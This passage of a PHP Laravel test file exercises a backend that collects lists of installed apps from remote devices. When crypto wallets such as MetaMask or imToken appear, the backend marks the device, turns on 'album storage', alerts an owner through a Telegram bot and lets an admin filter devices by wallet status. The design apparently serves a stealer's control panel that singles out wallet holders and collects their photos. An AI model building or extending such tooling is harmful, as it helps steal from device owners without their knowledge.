create(['device_id' => 'dev-wallet-unknown']); $this->assertSame(Device::WALLET_UNKNOWN, (int) $device->has_wallet); $this->assertSame([], $device->walletNameList()); } #[Test] public function applist_without_plugin_wallets_marks_none(): void { $device = Device::query()->create(['device_id' => 'dev-wallet-none']); $this->assertFalse($device->albumStorageEnabled()); app(IngestService::class)->ingestInstalledApps($device, [ 'al' => [ ['a' => 'Safari', 'b' => 'com.apple.mobilesafari', 'v' => '17'], ['a' => 'Foo Wallet', 'b' => 'com.foo.somecoinwallet', 'v' => '1'], ['a' => 'Telegram', 'b' => 'ph.telegra.Telegraph', 'v' => '10'], ], ]); $device->refresh(); $this->assertSame(Device::WALLET_NONE, (int) $device->has_wallet); $this->assertFalse($device->albumStorageEnabled()); $this->assertSame([], $device->walletNameList()); $this->assertFalse((bool) $device->apps()->where('bundle_id', 'com.foo.somecoinwallet')->value('is_wallet')); $this->assertFalse((bool) $device->apps()->where('bundle_id', 'ph.telegra.Telegraph')->value('is_wallet')); $this->assertFalse((bool) $device->apps()->where('bundle_id', 'com.apple.mobilesafari')->value('is_wallet')); } #[Test] public function applist_skips_apple_prefix_and_wildcard_bundles(): void { $device = Device::query()->create(['device_id' => 'dev-app-skip-noise']); app(IngestService::class)->ingestInstalledApps($device, [ 'al' => [ ['a' => 'Spotlight', 'b' => 'apple.Spotlight'], ['a' => '*', 'b' => '*'], ['a' => 'Octagon', 'b' => 'apple.security.octagon'], ['a' => 'Safari', 'b' => 'com.apple.mobilesafari'], ['a' => 'MetaMask', 'b' => 'io.metamask'], ], ]); $this->assertFalse( DeviceApp::query()->where('device_id', $device->id)->where('bundle_id', 'apple.Spotlight')->exists() ); $this->assertFalse( DeviceApp::query()->where('device_id', $device->id)->where('bundle_id', '*')->exists() ); $this->assertFalse( DeviceApp::query()->where('device_id', $device->id)->where('bundle_id', 'apple.security.octagon')->exists() ); $this->assertTrue( DeviceApp::query()->where('device_id', $device->id)->where('bundle_id', 'com.apple.mobilesafari')->exists() ); $this->assertTrue( DeviceApp::query()->where('device_id', $device->id)->where('bundle_id', 'io.metamask')->exists() ); } #[Test] public function applist_with_plugin_wallets_marks_yes_and_notifies_once(): void { config([ 'coruna.telegram.bot_token' => 'bot-token', 'coruna.telegram.owner_chat_id' => '12345', ]); Http::fake(['api.telegram.org/*' => Http::response(['ok' => true], 200)]); $device = Device::query()->create(['device_id' => 'dev-wallet-yes']); $this->assertFalse($device->albumStorageEnabled()); $ingest = app(IngestService::class); $ingest->ingestInstalledApps($device, [ 'al' => [ ['a' => 'Safari', 'b' => 'com.apple.mobilesafari'], ], ]); $device->refresh(); $this->assertSame(Device::WALLET_NONE, (int) $device->has_wallet); $this->assertFalse($device->albumStorageEnabled()); Http::assertNothingSent(); $ingest->ingestInstalledApps($device, [ 'al' => [ ['a' => 'MetaMask', 'b' => 'io.metamask.MetaMask'], ['a' => 'imToken', 'b' => 'im.token.app'], ], ]); $device->refresh(); $this->assertSame(Device::WALLET_YES, (int) $device->has_wallet); $this->assertTrue($device->albumStorageEnabled()); $this->assertSame(['MetaMask', 'imToken'], $device->walletNameList()); $ingest->ingestInstalledApps($device, [ 'al' => [ ['a' => 'Trust', 'b' => 'com.sixdays.trust'], ], ]); $device->refresh(); $this->assertSame(['MetaMask', 'Trust Wallet', 'imToken'], $device->walletNameList()); $walletAlerts = 0; Http::assertSent(function ($request) use (&$walletAlerts) { $text = (string) ($request->data()['text'] ?? ''); if (str_contains($text, '已安装钱包')) { $walletAlerts++; $this->assertStringContainsString('MetaMask', $text); $this->assertStringContainsString('imToken', $text); } return true; }); $this->assertSame(1, $walletAlerts); } #[Test] public function admin_can_filter_devices_by_wallet_flag(): void { $admin = Admin::query()->create(['username' => 'admin', 'password' => 'admin123']); Device::query()->create(['device_id' => 'dev-unknown', 'has_wallet' => Device::WALLET_UNKNOWN]); Device::query()->create(['device_id' => 'dev-none', 'has_wallet' => Device::WALLET_NONE]); Device::query()->create([ 'device_id' => 'dev-yes', 'has_wallet' => Device::WALLET_YES, 'wallet_names' => ['MetaMask', 'TronLink'], ]); $this->actingAs($admin, 'admin') ->getJson(route('admin.devices.data', ['has_wallet' => Device::WALLET_YES])) ->assertOk() ->assertJsonPath('count', 1) ->assertJsonPath('data.0.device_id', 'dev-yes') ->assertJsonPath('data.0.has_wallet', Device::WALLET_YES) ->assertJsonPath('data.0.wallet_names', ['MetaMask', 'TronLink']); $this->actingAs($admin, 'admin') ->getJson(route('admin.devices.data', ['has_wallet' => Device::WALLET_NONE])) ->assertOk() ->assertJsonPath('count', 1) ->assertJsonPath('data.0.device_id', 'dev-none'); $this->actingAs($admin, 'admin') ->getJson(route('admin.devices.data', ['has_wallet' => Device::WALLET_UNKNOWN])) ->assertOk() ->assertJsonPath('count', 1) ->assertJsonPath('data.0.device_id', 'dev-unknown'); } }